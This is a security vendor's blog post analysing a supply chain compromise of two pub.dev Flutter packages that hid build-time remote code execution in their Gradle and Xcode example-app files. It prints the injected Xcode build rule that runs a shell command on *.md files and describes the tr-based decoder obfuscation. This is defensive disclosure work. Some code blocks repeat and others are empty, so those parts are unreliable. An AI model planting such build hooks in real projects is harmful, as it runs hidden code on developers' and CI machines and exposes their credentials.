Ossprey raises $2.65m to fight AI-era software supply chain attacks.

Ossprey raises $2.65m to fight AI-era software supply chain attacks. Learn More

Ossprey

Ossprey raises $2.65m to fight AI-era software supply chain attacks.

Ossprey

BACK

Real World Attacks

The supply chain attack map keeps growing. Pub.dev just got added

Ellie Jevon

8 Sept 2026

Real World Attacks

The supply chain attack map keeps growing. Pub.dev just got added

Ellie Jevon

8 Sept 2026

No headings found in content selector: .toc-content

Two malicious packages have been published to the pub.dev platform, this is the first time a supply chain attack has hit the platform. This incident occurred by a legitimate maintainer being compromised and then over the next 4 weeks (starting August 12th) malicious versions of the universal_file_viewer and surveyjs_flutter packages were published. The malicious actor was targeting developer credentials by injecting malicious code into the build scripts of the packages.

This compromised maintainer seems to be the first trusted package on this registry has been compromised in this way.

The download count is small, (~818 between the two packages), this however, does not mean the impact is low. As we have seen in previous platforms and registries, this is only the beginning. According to Flutter "The pub.dev ecosystem is more popular than ever, with over 1.3 billion package downloads in the last 30 days alone". The impact is huge, the customer needs to be prioritised, so we must be proactive in identifying and blocking threats in our software supply chain. This goes to show trust can no longer be inferred, it must be earned.

What happened?

On 8th September 2026, Security researcher Charlie Eriksen reported that version 0.1.5 of universal_file_viewer (a legitimate Flutter package for previewing images, video, PDFs and Office documents) had been published with malicious code added to build files inside the package's bundled example app - a Gradle file (Gradle being Android's build system). This then triggered us to start an investigation, where we identified that additionally there was malicious code in the the iOS and macOS Xcode project files and another package surveyjs_flutter which actually was first compromised on August 12th .

We believe this to be the first supply chain attack on pub.dev.

On pub.dev, the latest malicious versions of universal_file_viewer and surveyjs_flutterwas published on the 8th September and the 7th September respectively.

To be clear, this is not the first time the Flutter framework has been weaponised - https://www.jamf.com/blog/3cx-supply-chain-attack/ - it is simply the first time a legitimate package has been weaponised on the pub.dev platform.

Impact

For anyone with universal_file_viewer or surveyjs_flutter in a Flutter project, they should check which version is being used and ensure they have a clean release. The total download was relatively low at around 818 downloads. This is not the extent of the impact, this shows that threat actors are changing their techniques to avoid detection, using a platform where historically scanners and researchers are not focusing (the main focus being npm, pypi) to aid evasion. Additionally the payload was found in the native build files bundled inside a cross-platform package, executing during the Android build rather than at runtime or install - this delayed execution is an attempt to make the attacks harder to detect. New attack vectors must be analysed so we can protect against the inevitable future instances. It also tells us that the threat actors are not simply changing their methods or the payload, they are seeking alternative, overlooked platforms.

Malicious packages stopped being a niche problem a long time ago. There were 1.233 million malicious packages found in 2025 alone, by Q2 of this year, this total was 1.8 million.

Npm still dominates the raw counts, but the non-npm activity in Q2 2026 was concentrated in PyPI (48.5%) and NuGet (38.0%), with Hugging Face models at 6.8% and RubyGems at 3.0%. More and more ecosystems are being impacted, this can not continue to be an NPM problem, its a cross platform crisis, safety by obscurity is no longer an option.

The technical bit

A Flutter package is not just Dart. Native build configuration, Gradle files for Android, podspecs and Xcode project files for Apple platforms, ships alongside the Dart source, and those files are code. They run on your machine, or your CI runner, during the build.

Put malicious code in the Dart source and a user reading lib/ has a decent chance of spotting it. Put it in bundled build tooling and three things work in the attacker's favour:

  1. It is outside where people look. The reasonable mental model of "the package" is the Dart code. This attack is what it looks like when that assumption is inverted

  2. It executes at build time, on a developer or CI machine. Build machines hold signing keys, cloud credentials, CI secrets and publish tokens. They are a better target.

  3. Build pipelines are trusted and automated. A Flutter build is a thing that happens on a runner, at speed, with credentials, and nobody typically reads the output.

What to do now

If you build Flutter or Dart apps:

  • Check whether universal_file_viewer 0.1.5 or 0.1.6, or surveyjs_flutter 0.1.1, 0.1.2 or 0.1.3 appears in any pubspec.lock, pub cache or CI cache. Presence means the malicious files were written to that machine, not that they executed. Treat credentials on that machine as exposed.

  • This check finds affected packages regardless of whether anything ever built, and uses the injector's own UUID fingerprint rather than its rotating C2 domains:

grep -rl '162AE3' ~/.pub-cache/hosted/pub.dev/*/example/*
grep -rl '162AE3' ~/.pub-cache/hosted/pub.dev/*/example/*
grep -rl '162AE3' ~/.pub-cache/hosted/pub.dev/*/example/*
  • Review what your dependency scanning actually reads. If it only parses Dart source, or only checks CVE databases, it will not see this compromise.

If you own a build pipeline in any ecosystem:

  • Treat native build files (build.gradle, *.podspec, project.pbxproj, binding.gyp, build.rs, setup.py, proc-macro crates) as executable code that arrives with your dependencies, because that is what they are. Xcode project files deserve particular attention: a PBXBuildRule can claim any file pattern and run a script instead of compiling it.

  • Scope build-runner credentials to what the build needs and nothing more. Build-time execution is only as valuable as the secrets sitting next to it.

The wider lesson

NPM and Pypi are popular open source ecosystems making them attractive for hackers to target. They can hide in the noise and target any company already using them. However, targeting smaller ecosystems like flutter still allows you to focus and target large organisations and avoid the growing investment in detecting malware in the more popular ecosystems. Flutter is used to build production mobile apps for banks, retailers and healthcare providers. The registry behind it just proved it can carry a compromised package into an Android build with credentials attached. That the first one was small tells you about the attacker's testing, not the potential.

Technical breakdown of the attack

Summary

Two Flutter packages published to pub.dev by elvynforge.xyz have been shipping hidden build-time remote code execution since 12 August 2026. The malicious code lives in the packages' example-app build tooling, a Gradle task hook and, a pair of injected Xcode build rules, where it fetches a remote shell script from a rotating set of .ru domains and pipes it directly to sh. The affected packages are universal_file_viewer (versions 0.1.5 and 0.1.6) and surveyjs_flutter (versions 0.1.1, 0.1.2 and 0.1.3).

At the time of writing,

  • universal_file_viewer 0.1.6 and surveyjs_flutter 0.1.3 are both the current published releases

  • Both are downloadable, and neither carries any warning.

  • There is no advisory in OSV for either package.

Importantly, this does not appear to be a malicious publisher. The malicious files are committed to the maintainer's own GitHub repository under their own commits. The injection pattern, build scaffolding rewritten in place, with a stray .bak left behind, does seem to be characteristic of malware operating on a developer's machine. The maintainer is a victim here, and the evidence suggests their development environment was compromised, then quietly re-signed everything they built for the next four weeks.

Affected packages and versions

Package

Version

Published (UTC)

Status

surveyjs_flutter

0.1.1

2026-08-12 11:08

Infected — 1 payload

surveyjs_flutter

0.1.2

2026-09-04 11:57

Infected — 3 payloads

surveyjs_flutter

0.1.3

2026-09-07 13:18

Infected — 4 payloads, current release

universal_file_viewer

0.1.5

2026-09-08 10:44

Infected — 3 payloads, retracted

universal_file_viewer

0.1.6

2026-09-08 11:45

Infected — 2 payloads, current release


Timeline

surveyjs_flutter 0.1.0, built on 28 July, is clean. Version 0.1.1, published fifteen days later on 12 August, carries the first payload. That fifteen-day gap suggests this is when injection began, not necessarily the intrusion itself, since dormant malware could leave the same trace.

From there the infection escalates: one injected file in 0.1.1, three in 0.1.2 on 4 September, four in 0.1.3 on 7 September. The malicious actor was adding vectors throughout the month rather than deploying everything all at once.

universal_file_viewer was untouched during this period. When the maintainer did a release on 8th September, committing at 10:42 and publishing at 10:44, it inherited the full three-vector payload. Roughly an hour later, at 11:45, they published 0.1.6 and retracted 0.1.5. That 'remediation' removed the Gradle hook and deleted the leftover .bak file, but left both Xcode payloads completely intact. The two project files are identical between 0.1.5 and 0.1.6.

The practical effect is worth sitting with: because retraction removes a version from dependency resolution but does not delete it, the visible cleanup step moved users off a three-payload version and onto a two-payload version, while implying that the incident was handled.

What is malicious, and why

Vector 1 — the Gradle task hook

Appended to the end of example/android/app/build.gradle.kts:




Two layers of obfuscation.. printf xAxd | tr -d A evaluates to xxd, so the decoder's name never appears literally in the file; the sibling variant uses printf bdase64 | tr -d d for base64. The hex blob is then decoded and piped to sh. Every variant decodes to the same one-liner:


Vector 2 — the Xcode build rule

The injector adds a custom PBXBuildRule to example/ios/Runner.xcodeproj/project.pbxproj:

37C24188DF274CCC87162AE3 /* PBXBuildRule */ = {
    isa = PBXBuildRule;
    compilerSpec = com.apple.compilers.proxy.script;
    filePatterns = "*.md";
    fileType = pattern.proxy;
    outputFiles = ( "/tmp/${INPUT_FILE_BASE}" );
    script = "# This output is used by Xcode outputs to avoid re-running this script phase.
              cp \"${INPUT_FILE_PATH}\" \"/tmp/${INPUT_FILE_BASE}\"
              sh -c \"${A3EA261}\"

37C24188DF274CCC87162AE3 /* PBXBuildRule */ = {
    isa = PBXBuildRule;
    compilerSpec = com.apple.compilers.proxy.script;
    filePatterns = "*.md";
    fileType = pattern.proxy;
    outputFiles = ( "/tmp/${INPUT_FILE_BASE}" );
    script = "# This output is used by Xcode outputs to avoid re-running this script phase.
              cp \"${INPUT_FILE_PATH}\" \"/tmp/${INPUT_FILE_BASE}\"
              sh -c \"${A3EA261}\"

37C24188DF274CCC87162AE3 /* PBXBuildRule */ = {
    isa = PBXBuildRule;
    compilerSpec = com.apple.compilers.proxy.script;
    filePatterns = "*.md";
    fileType = pattern.proxy;
    outputFiles = ( "/tmp/${INPUT_FILE_BASE}" );
    script = "# This output is used by Xcode outputs to avoid re-running this script phase.
              cp \"${INPUT_FILE_PATH}\" \"/tmp/${INPUT_FILE_BASE}\"
              sh -c \"${A3EA261}\"

This abuses a legitimate Xcode feature. It claims every *.md file in the target and runs a script instead of compiling it. The cp and the declared output are not incidental: they satisfy Xcode's dependency tracker so the rule is marked fulfilled and does not re-run, while making it look like a file copy.

The payload itself is not in the rule. It sits 170 lines away, as a build setting buried in an alphabetised list:




Splitting them is an attempt to make the code look benign, however, when looking at both its clear this is not the case.

Finally, the rule needs something to fire on. Version 0.1.5 added zero-byte README.md files to example/ios/ and example/macos/, wired in as build inputs. A real README is never empty, and READMEs do not belong in platform subdirectories; this project's actual README is at the repository root.

The tampering is purely additive, eight insertions, no modifications or deletions, adding the six object-graph entries Xcode requires (PBXBuildFile, PBXFileReference, a group children entry, a target buildRules entry, the rule itself, and a Resources phase entry) plus the build setting in two configurations. That is a structure-aware pbxproj editor, not a blind text append.

A third variant, tagged p=xcode_phase, uses a PBXShellScriptBuildPhase instead and appears in surveyjs_flutter.

Indicators of compromise

Command-and-control- All 6 accept a POST to path /a with a p=<vector> body:




Host and file artifacts:

  • Build setting name A3EA261

  • Build rule with filePatterns = "*.md" and compilerSpec = com.apple.compilers.proxy.script

  • Output path /tmp/${INPUT_FILE_BASE}

  • Zero-byte example/ios/README.md and example/macos/README.md

  • Vector tags android_kotlinxcode_rulexcode_phase

  • Decoder idiom printf <str> | tr -d <char> resolving to xxd or base64

The most durable indicator is an artefact of the injector's own UUID generator: every Xcode object it creates ends in 162AE3.





File hashes (universal_file_viewer):





File hashes (surveyjs_flutter):





Clean baselines:




Scope: who is at risk

Execution requires someone to build the example project specifically: contributors and repository cloners (the payload is committed to public master), CI that builds example apps, or a developer opening the example to evaluate the package. These files are shipped to everyone who installs the package but executed by a narrower group. While this means just downloading the package might not imply you are compromised. It is still recommended you trigger a security incident.


SHARE

Subscribe Now

Subscribe Now

Subscribe Now

Ossprey helps you understand what code is trying to do,  before you trust it.

Ossprey helps you understand what code is trying to do,  before you trust it.

Related articles.

Related articles.

Related articles.